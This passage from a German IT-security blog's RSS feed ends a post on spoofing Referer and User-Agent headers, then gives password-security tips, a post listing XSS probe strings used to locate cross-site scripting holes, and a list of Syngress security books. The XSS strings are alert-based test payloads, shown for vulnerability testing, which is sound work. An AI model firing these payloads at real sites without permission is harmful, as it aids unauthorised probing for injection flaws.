<p>Über Add-ons wie <a href="https://addons.mozilla.org/de/firefox/addon/953" target="_blank">RefControl </a>kann wiederum festgelegt werden, welcher Referrer an welche Seite geschickt werden soll.</p>
<p>Auch gibt es Tools wie <a href="https://addons.mozilla.org/de/firefox/addon/3829" target="_blank">Live HTTP Headers</a> mit welchen individuelle Header an Seiten geschickt werden können. Hier ist aber ein etwas tieferes Verständnis notwendig.</p>
<p style="font-weight: bold;">Telnet</p>
<p>Über Telnet können die obigen Header ebenfalls geschickt werden und eignet sich somit auch um die Daten zu spoofen.</p>
<h3>Epilog</h3>
<p>In diesem Artikel wurde aufgezeigt, wie leicht es ist, Browserdaten zu fälschen und welche Auswirkungen dies haben kann. Man sollte ich sich prinzipiell folgende Gedanken machen:</p>
<ul>
<li><strong>Woher </strong>kommen die Daten?
<ul>
<li>Datenbank, Textdatei, Usereingabe</li>
</ul>
</li>
<li>Können die <strong>Daten verfälscht </strong>werden?
<ul>
<li>Werden die fehlerhaften Daten abgefangen, wer kann wie die Daten ändern</li>
</ul>
</li>
<li><strong>Welche Werte</strong> können die Daten annehmen?
<ul>
<li>Freie Eingabfelder oder durch Datenbank fester Typ (z.B. int) vorgegeben</li>
</ul>
</li>
<li><strong>Wie reagiert meine Applikation</strong> auf potentiell verfälschte Daten?
<ul>
<li>Absturz, Einschleusen von Code möglich, Filter vorhanden</li>
</ul>
</li>
<li>Was ist der <strong>Worst Case</strong> bei gezieltem Spoofing?
<ul>
<li>Angenommen der Angreiffer kennt genau den Code, wie würde ein gezielter Angriff aussehen</li>
</ul>
</li>
</ul>
<p>Vorsicht ist besser als Nachsicht: durch ein triviales <em>htmlspecialchars </em>ist schon so mancher Angreifer unglücklich geworden.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 2495px; width: 1px; height: 1px;">
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } -->Szenario</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.root-of-all-evil.com/2010/02/gefahren-bei-referer-und-user-agent-auswertung/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Passwortsicherheit immer noch kein Thema</title>
		<link>http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/</link>
		<comments>http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 22:08:09 +0000</pubDate>
		<dc:creator>Felix</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.root-of-all-evil.com/?p=178</guid>
		<description><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/" title="Passwortsicherheit immer noch kein Thema"></a>Es scheint so als sei Passwortsicherheit eine Thematik, über welche sich Menschen auch heute noch keine Gedanken machen. Hier soll kurz auf die häufigst verwendeten Passwörter eingegangen werden, anschließend werden die Anforderung für ein Passwort genannt sowie Tipps für den &#8230;<p class="read-more"><a href="http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/" title="Passwortsicherheit immer noch kein Thema"></a><p>Es scheint so als sei Passwortsicherheit eine Thematik, über welche sich Menschen auch heute noch keine Gedanken machen. Hier soll kurz auf die häufigst verwendeten Passwörter eingegangen werden, anschließend werden die Anforderung für ein Passwort genannt sowie Tipps für den Umgang und mehr.</p>
<p><span id="more-178"></span></p>
<p>Laut einem <a href="http://www.imperva.com/news/press/2010/01_21_Imperva_Releases_Detailed_Analysis_of_32_Million_Passwords.html" target="_blank">Report von Imperva</a> in welchem 32 Millionen Passwörter analysiert wurden, sind dies die am häufigsten verwendeten Passwörter:</p>
<ol>
<li>123456</li>
<li>12345</li>
<li>123456789</li>
<li>Password</li>
<li>iloveyou</li>
<li>princess</li>
<li>rockyou</li>
<li>1234567</li>
<li>12345678</li>
<li>abc123</li>
</ol>
<h3>Anforderungen an ein Passwort</h3>
<p>Für heutige Passwörter gelten als untere Grenze folgende Regeln:</p>
<ul>
<li>mindestens 8 Zeichen</li>
<li>Groß- &amp; Kleinbuchstaben</li>
<li>mindestens ein Sonderzeichen (z.B. !, #)</li>
<li>das Passwort sollte kein Begriff sein, welcher ein reales Wort darstellt</li>
</ul>
<h3>Komfortable Passwörter erstellen</h3>
<p>Um sich ein merkbares Passwort zu erstellen, kann man z.B. einen Satz in ein Passwort konvertieren.</p>
<p>Beispiel &#8220;Für Schocki würde ich meine Oma verkaufen.&#8221;<br />
Ergibt Passwort &#8220;FSwimOv&#8221;.</p>
<p>Vorteil ist hier, dass man bereits Groß- und Kleinbuchstaben erhalten hat. Anschließend fügt man noch Sonderzeichen und Zahlen hinzu, z.B. &#8220;F#2Swim#3Ov!&#8221; (&#8220;Für zwei Schocki würde ich meine 3 Omas verkaufen!&#8221;).</p>
<p>Insbesondere in der deutschen Sprache bietet sich an <strong>Umlaute </strong>(ü, ä, ö, ß) zu verwenden &#8211; diese werden teilweise bei Bruto-Force-Angriffen noch nicht berücksichtigt.</p>
<p>Auch sollte das Sonderzeichen nicht nur am Ende eines Passwortes stehen: Heutige Software bietet oft sog. Hybrid-Angriffe, bei denen an ein klassisches Passwort wie &#8220;geheim&#8221; Sonderzeichen an &#8220;klassische&#8221; Position gestellt werden, z.B. &#8220;geheim#&#8221; oder &#8220;geheim!&#8221;.</p>
<h3>No-Gos bei Passwörtern und Sicherheitsfragen</h3>
<p>Passwörter sollten wie bereits erwähnt keinen realen Begriff darstellen, zu kurz oder einfach aufgebaut (siehe Anforderungen an ein Passwort) sein.</p>
<p><strong>Zahlenkolonen </strong>(1234, 987) sowie <strong>Tastaturmuster </strong>(asdf, qwert, xdrcft) sollten auch vermieten werden.</p>
<p>Wichtig ist aber auch, dass nicht nur dass Passwort als solches sicher ist: viele Seiten bieten die Funktion &#8220;Passwort vergessen&#8221; wo nach beantwortung einer &#8220;Sicherheitsfrage&#8221; dass Passwort teilweise direkt geändert werden kann. Hier sollte man sich genau überlegen, wer die Antwort auf Fragen &#8220;Wo habe ich früher gewohnt?&#8221; noch beantworten könnte. Für manchen Feind bzw. schlechten Freund, könnte es interessant sein, was man online hinterlegt hat.</p>
<p>Hier empfiehlt sich -soweit möglich- die <strong>Frage selbst zu definieren</strong> z.B. &#8220;Wie lautet meine Perso-Nr?&#8221; oder eine <strong>nicht offensichtliche Antwort</strong> zu geben, Beispiel: Frage &#8220;Wo habe ich früher gewohnt?&#8221;, Antwort &#8220;BMW Cabrio&#8221; (erstes Auto, statt erster Wohnsitz als Antwort).</p>
<h3>Automatische Passwortgenerierung und Passwortsafe</h3>
<p>Für die Passworterstellung kann ein <a href="http://www.gaijin.at/olspwgen.php" target="_blank">Passwortgenerator</a> benutzt werden.  Ein Passwortsafe wie z.B. <a href="http://keepass.info/" target="_blank"><em>KeePass Passwordsafe</em></a> hilft dann auch sehr komplizierte und lange  Passwörter bequem zu verwalten.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.root-of-all-evil.com/2010/01/passwortsicherheit-immer-noch-kein-thema/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lokalisierung von XSS-Lücken</title>
		<link>http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/</link>
		<comments>http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 13:30:46 +0000</pubDate>
		<dc:creator>Felix</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.root-of-all-evil.com/?p=106</guid>
		<description><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/" title="Lokalisierung von XSS-Lücken"></a>Folgende Strings helfen schnell und einfach bei der Lokalisierung der XSS-Lücken. Sie werden auch bei CAL9000 zur Identifizierung von Schwachstellen verwendet: Variante 1: Hier wird auf verschiedene Arten versucht eine Alert-Meldung auszuführen. Durch &#8216; bzw. &#8220; wird versucht z.B. aus &#8230;<p class="read-more"><a href="http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/" title="Lokalisierung von XSS-Lücken"></a><p>Folgende Strings helfen schnell und einfach bei der Lokalisierung der <a href="http://de.wikipedia.org/wiki/Cross-Site_Scripting" target="_blank">XSS-Lücken</a>. Sie werden auch bei CAL9000 zur Identifizierung von Schwachstellen verwendet:</p>
<p><strong>Variante 1:</strong><br />
Hier wird auf verschiedene Arten versucht eine Alert-Meldung auszuführen. Durch <em>&#8216;</em> bzw. <em>&#8220;</em> wird versucht z.B. aus einem Value-Attribut eines Input-Feldes auszubrechen. Durch <a href="http://de.selfhtml.org/javascript/objekte/string.htm#from_char_code" target="_blank">fromCharCode </a>kann es umgangen werden wenn auf <em>&#8220;</em> oder <em>&#8216;</em> gefiltert wird:<br />
<textarea>&#8216;;alert(String.fromCharCode(88,83,83))//\&#8217;;alert(String.fromCharCode(88,83,83))//&#8221;;alert(String.fromCharCode(88,83,83))//\&#8221;;alert(String.fromCharCode(88,83,83))//&#8211;></SCRIPT>&#8220;>&#8217;><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></textarea></p>
<p><strong>Variante 2:</strong><br />
Bei dieser Variante muss der Quelltext nach <em>&amp;lt;XSS</em> bzw. <em>&lt;XSS</em> durchsucht werden.</p>
<pre name="code" class="javascript">
'';!--"<XSS>=&#038;{()}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.root-of-all-evil.com/2010/01/lokalisierung-von-xss-lucken/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bücher zum Thema IT-Sicherheit nach Syngress</title>
		<link>http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/</link>
		<comments>http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 17:45:19 +0000</pubDate>
		<dc:creator>Felix</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.root-of-all-evil.com/?p=92</guid>
		<description><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/" title="Bücher zum Thema IT-Sicherheit nach Syngress"></a>In dem Buch &#8220;XSS Attacks &#8211; Cross Site Scripting Exploits and Defense&#8221; erschienen bei syngress (ISBN-13: 978-1-59749-154-9) werden eine Reihe von weiteren Bücher empfohlen für eine &#8220;[The] Definnition of a Serious Security Library&#8221;. Da ich von dem Buch recht überzeugt &#8230;<p class="read-more"><a href="http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/" title="Bücher zum Thema IT-Sicherheit nach Syngress"></a><p>In dem Buch &#8220;XSS Attacks &#8211; Cross Site Scripting Exploits and Defense&#8221; erschienen bei syngress (ISBN-13: 978-1-59749-154-9) werden eine Reihe von weiteren Bücher empfohlen für eine &#8220;[The] Definnition of a Serious Security Library&#8221;. Da ich von dem Buch recht überzeugt bin, möchte ich diese Liste nicht vorenthalten. Zu beachten ist jedoch, dass die Liste natürlich <span style="text-decoration: underline;">nicht</span> neutral ist.</p>
<p><span id="more-92"></span></p>
<ul>
<li><strong>Syngress IT Security &#8211; Project Managment Handbook </strong>(ISBN: 1-59749-076-8)</li>
</ul>
<ul>
<li><strong>Combating Spyware in the Enterprise</strong> (ISBN: 1-59749-064-4)</li>
</ul>
<ul>
<li><strong>Practical VoIP Security </strong>(ISBN: 1-59749-060-1)</li>
</ul>
<ul>
<li><strong>Cyber Spying: Tracking Your Family`s (Sometimes) Secrent Online Lives </strong>(ISBN: 0-93183-641-8)</li>
</ul>
<ul>
<li><strong>Stealing the Network: How to Own an Identity </strong>(ISBN: 1-59749-006-7)</li>
</ul>
<ul>
<li><strong>Software Piracy Exposed </strong>(ISBN: 1-93226-698-4)</li>
</ul>
<ul>
<li><strong>Phising Exposed </strong>(ISBN: 1-59749-030-X)</li>
</ul>
<ul>
<li><strong>Penetration Tester&#8217;s Open Source Toolkit </strong>(ISBN: 1-59749-021-0)</li>
</ul>
<ul>
<li><strong>Google Hacking for Penetration Testers </strong>(ISBN: 1-93183-636-1)</li>
</ul>
<ul>
<li><strong>Cisco PIX Firewalls: Configure, Manage &amp; Troubleshoot </strong>(ISBN: 1-59749-004-0)</li>
</ul>
<ul>
<li><strong>Configuring Netscreen Firewalls </strong>(ISBN: 1&#8211;93226-639-9)</li>
</ul>
<ul>
<li><strong>Configuring Check Point NGX VPN-1 / FireWall-1 </strong>(ISBN: 1-59749-031-8)</li>
</ul>
<ul>
<li><strong>Winternals Defragmentation, Recovery, and Administration Field GUid </strong>(ISBN: 1-59749-079-2)</li>
</ul>
<ul>
<li><strong>Video Conferencing over IP: Configure, Secure, and Troubleshoot </strong>(ISBN: 1-59749-063-6)</li>
</ul>
<ul>
<li><strong>How to Cheat at Designing Security for a Windows Server 2003 Network </strong>(ISBN: 1-59749-243-4)</li>
</ul>
<ul>
<li><strong>How to Cheat at Designing a Windows Server 2003 Actice Directory Infrastructure </strong>(ISBN: 1-59749-058-X)</li>
</ul>
<ul>
<li><strong>How to Cheat at Configuring ISA Server 2004 </strong>(ISBN: 1-59749-057-1)</li>
</ul>
<ul>
<li><strong>Configuring SonicWALL Firewalls </strong>(ISBN: 1-59749-250-7)</li>
</ul>
<ul>
<li><strong>Perfect Passwords: Selection, Protection, Authentication </strong>(ISBN: 1-59749-041-5)</li>
</ul>
<ul>
<li><strong>Sykpe Me! From Single User to Small Enterprise and Beyond </strong>(ISBN: 1-59749-032-6)</li>
</ul>
<ul>
<li><strong>Securing IM and P2P &#8211; Applications for the Enterprise </strong>(ISBN: 1-59749-017-2)</li>
</ul>
<ul>
<li><strong>How to Cheat at Managing Windows Server Update Services </strong>(ISBN: 1-59749-027-X)</li>
</ul>
<ul>
<li><strong>How to Cheat at IT Project Managment </strong>(ISBN: 1-59749-037-7)</li>
</ul>
<ul>
<li><strong>Managing Cisco Network Security, Second Edition </strong>(ISBN: 1-931836-56-6)</li>
</ul>
<ul>
<li><strong>How to Cheat at Managing Microsoft Operations Manager 2005 </strong>(ISBN: 1-59749-251-5)</li>
</ul>
<ul>
<li><strong>Hot to Cheat at Designing a Windows Server 2003 Actice Directory Infrastructure </strong>(ISBN: 1-59749-058-X)</li>
</ul>
<ul>
<li><strong>Exam 70-291: Implementing, Managing, and Maintaining a Mircosoft Windows Server 2003 </strong>(ISBN: 1-931836-92-2)</li>
</ul>
<ul>
<li><strong>Exam 70-293: Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure </strong>(ISBN: 1-937836-93-0)</li>
</ul>
<ul>
<li><strong>Exam 70-294: Planning, Implementing and Maintaining a Microsoft Windows Server 2003 Active Directory Infrastructure </strong>(ISBN: 1-931836-94-9)</li>
</ul>
<ul>
<li><strong>Snort 2.1 Intrusion Detection, Second Edition </strong>(ISBN: 1-931836-04-3)</li>
</ul>
<ul>
<li><strong>Etheral Packet Snffing </strong>(ISBN: 1-362266-82-8)</li>
</ul>
<ul>
<li><strong>Nessus Network Auditing </strong>(ISBN: 1-931836-08-6)</li>
</ul>
<ul>
<li><strong>Buffer OverFlow Attacks: Detect, Exploit, Prevent </strong>(ISBN: 1-932266-67-4)</li>
</ul>
<ul>
<li><strong>Programmer&#8217;s Ultimate Security DeskRef </strong>(ISBN: 1-932266-72-0)</li>
</ul>
<ul>
<li><strong>Hacking the Code: ASP.NET Web Application Security </strong>(ISBN: 1-932266-65-8)</li>
</ul>
<ul>
<li><strong>Richard Thieme&#8217;s Islands in the Clickstream: Reflections on Life in a Virtual World </strong>(ISBN: 1-931836-22-1)</li>
</ul>
<p>Alle Bücher sind bei syngress (<a href="http://www.syngress.com" target="_blank">http://www.syngress.com</a>) erschienen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.root-of-all-evil.com/2010/01/bucher-zum-thema-it-sicherheit-nach-syngress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

